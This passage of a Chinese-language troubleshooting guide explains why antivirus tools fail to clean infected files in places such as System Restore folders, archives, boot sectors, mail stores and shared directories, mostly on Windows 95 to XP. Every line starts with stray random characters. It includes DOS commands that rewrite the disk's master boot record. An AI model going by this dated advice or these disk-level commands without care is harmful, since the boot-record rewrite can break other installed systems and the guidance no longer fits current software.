 GLiD,QX<  由于这个目录下的文件,Windows会对此有一定的保护作用(未经证实)。所以对这个目录下的带毒文件即使在安全模式下也不能进行清除,对于这种情况,请先关闭其他一些程序软件,然后打开IE,选择IE工具栏中的"工具"\"Internet选项",选择"删除文件"删除即可,如果有提示"删除所有脱机内容",也请选上一并删除。 
 R<Uu(-O-  2、带毒文件在\_Restore目录下,或者System Volume Information目录下。 
 y.aeXlc[  这是系统还原存放还原文件的目录,只有在装了Windows Me/XP操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消"系统还原"功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。 关闭系统还原方法。WindowsMe的话,禁用系统还原,DOS下删除。具体请参考下文: 
 Uqd2{fji=#  http://community.rising.com.cn/Forum/msg_read.asp?FmID=33&SubjectID=2028691&page=1。XP关闭系统还原的方法:右键单击“我的电脑”,选“属性”——“系统还原”——在“在所有驱动器上关闭系统还原”前面打勾——按“确定”退出。 
 ~Q2,~9Dkc  3、带毒文件在.rar、.zip、.cab等压缩文件中。 
 h[& \OD,P  现今能支持直接查杀压缩文件中带毒文件的反病毒软件还很少,即使有也只能支持常用的一些压缩格式;所以,对于绝大多数的反病毒软件来说,最多只能检查出压缩文件中的带毒文件,而不能直接清除。而且有些加密了的压缩文件就更不可能直接清除了。 
 cnL@j_mb  要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。 
 g0M/Sv  4、病毒在引导区或者SUHDLOG.DAT或SUHDLOG.BAK文件中。 
 V8947h|&  这种病毒一般是引导区病毒,报告的病毒名称一般带有boot、wyx等字样。如果病毒只是存在于移动存储设备(如软盘、闪存盘、移动硬盘)上,就可以借助本地硬盘上的反病毒软件直接进行查杀;如果这种病毒是在硬盘上,则需要用干净的可引导盘启动进行查杀。 
 ,e@707d`\  对于这类病毒建议用干净软盘启动进行查杀,不过在查杀之前一定要备份原来的引导区,特别是原来装有别的操作系统的情况,如日文Windows、Linux等。 
 v$~ZT_"(9  如果没有干净的可引导盘,则可使用下面的方法进行应急杀毒: 
 )U+Pt98"  (1) 在别的计算机上做一张干净的可引导盘,此引导盘可以在Windows 95/98/ME系统上通过"添加/删除程序"进行制作,但要注意的是,制作软盘的操作系统须和自己所使用的操作系统相同; 
 *@E&O^%cO  (2) 用这张软盘引导启动带毒的计算机,然后运行以下命令: 
 %df[8eX{  A:\>fdisk/mbr 
 >>.4@  A:\>sys a: c: 
 k/m-jm_h  如果带毒的文件是在SUHDLOG.DAT或SUHDLOG.BAK文件中,那么直接删除即可。这是系统在安装的时候对硬盘引导区做的一个备份文件,一般作用不大,病毒在其中已经不起作用了。 
 _zG[b/:p  5、带毒文件的后缀名是.vir、.kav、.kbk等。 
 xX~;
/e&,  这些文件一般是一些防毒软件对原来带毒的文件做的备份文件,一般情况下,如果确认这些文件已经无用了,那就将这些文件删除即可。 
 Gj-	*D7X5  6、带毒文件在一些邮件文件中,如dbx、eml、box等。 
 MT^krv(G  有些防毒软件可以直接检查这些邮件文件中的文件是否带毒,但往往不能对这些带毒的文件直接的进行操作,对于一些邮箱中的带毒的信件,可以根据防毒软件提供的信息找到那带毒的信件,删除信件中的附件或者删除该信件;如果是eml、nws一些信件文件带毒,可以用相关的邮件软件打开,确认该信件及其附件,然后删除相关内容。一般有大量的eml、nws的带毒文件的话,都是病毒自动生成的文件,建议都直接删除。 
 ?'mi6jFFh  7、文件中有病毒的残留代码。 
 }kF*I@:g  这种情况比较多见的就是带有CIH、Funlove、宏病毒(包括Word、Excel、Powerpoint和Wordpro等文档中的宏病毒)和个别网页病毒的残留代码,通常防毒软件对这些带有病毒残留代码的文件报告的病毒名称后缀通常是int、app等结尾,而且并不常见,如W32/FunLove.app、W32.Funlove.int。一般情况下,这些残留的代码不会影响正常程序的运行,也不会传染,如果需要彻底清除的话,要根据各个病毒的实际情况进行清除。 
 mNQ*YCq.  8、文件错误。 
 5;[h&jH  这种情况出现的并不多,通常是某些防毒软件将原来带毒的文件并没有很干净地清除病毒,也没有很好的修复文件,造成文件无法正常使用,同时造成别的防毒软件的误报。这些文件可以直接删除。 
 "ZR^w5  9、加密的文件或目录。 
 @u1mC\G  对于一些加密了的文件或目录,请在解密后再进行病毒查杀。 
 Ey]P
>J  10、共享目录。 
 "%dok@v  这里包括两种情况:本地共享目录和网络中远程共享目录(其中也包括映射盘)。遇到本地共享的目录中的带毒文件不能清除的情况,通常是局域网中别的用户在读写这些文件,杀毒的时候表现为无法直接清除这些带毒文件中的病毒,如果是有病毒在对这些目录在写病毒操作,表现为对共享目录进行清除病毒操作后,还是不断有文件被感染或者不断生成病毒文件。以上这两种情况,都建议取消共享,然后针对共享目录进行彻底查杀,恢复共享的时候,注意不要开放太高的权限,并对共享目录加设密码。对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。如果是远程计算机感染病毒的话,建议还是直接在远程计算机进行查杀病毒。特别的,如果在清除别的病毒的时侯都建议取消所有的本地共享,再进行杀毒操作。在平时的使用中,也应注意共享目录的安全性,加设密码,同时,非必要的情况下,不要直接读取远程共享目录中的文件,建议拷贝到本地检查过病毒后再进行操作。 
 iX6'3\Q3A  11、光盘等一些存储介质。 
 #vPf$y6jCI  对于光盘上带有的病毒,不要试图直接清除,这是神仙也做不到的事情。同时,对另外一些存储设备查杀病毒的,也需要注意其是否处于写保护或者密码保护状态。